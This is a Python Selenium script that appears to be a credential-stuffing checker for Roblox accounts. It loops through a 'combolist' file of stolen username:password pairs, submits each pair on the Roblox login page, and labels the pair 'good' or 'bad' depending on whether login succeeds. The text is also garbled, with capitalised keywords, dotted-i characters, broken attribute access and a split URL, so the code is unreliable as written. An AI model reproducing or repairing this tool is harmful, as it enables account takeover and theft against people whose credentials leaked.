From Selenium import webdriver.
From Selenium. Webdriver.common. By import by.
From Selenium.common. Exceptions import nosuchelementexception
From colorama import fore.
From time import sleep.
İmport OS.
Magenta = fore. Magenta.
Red = fore. Red.
Green = fore. Green.
Reset = fore. Reset.
Wındow_sıze = "1280, 720"
Options = webdriver.ChromeOptions()
Options. Add_argument("--window-size=%s" % wındow_sıze)
Options. Add_experimental_option('excludeswitches', ['enable-logging'])
Options. Add_experimental_option('detach', true)
Print(F"[*] {magenta}connecting...{reset}")
Sleep(3)
Print(F"[*] {magenta}Connected!{reset}\n\n")
OS. System("cls")
Print(F"""{magenta}
Welcome.
{Reset}""")
Comboname = str(input(F"{magenta}combolist name: {reset}"))
Combolist = open(comboname + ".txt", "r").readlines()
For combo in combolist:
Seq = combo.strip()
Acc = seq. Split(":")
Username = acc[0]
Password = acc[1]
Driver = webdriver. Chrome(options = options, executable_path=r'chromedriver.exe')
Driver. Get("
Roblox")
Sleep(1)
Cookiebtn = driver. Find_element(by. Xpath, "//*[contains(text(), 'Accept All')]")
cookieBtn.click()
Usernameınput = driver. Find_element(by. Name, "username")
Usernameınput. Send_keys(username)
Passwordınput = driver. Find_element(by. Name, "password")
Passwordınput. Send_keys(password)
Lbtn = driver. Find_element(by. ID, "login-button");
lBtn.click()
Sleep(3)
Try:
Driver. Find_element(by. Xpath, "//p[@id='login-form-error']")
driver.close()
Print(F"[!] {red}bad: {combo} {reset}")
Except nosuchelementexception:
Print(F"[!] {Green}good: {combo} {reset}")
driver.close()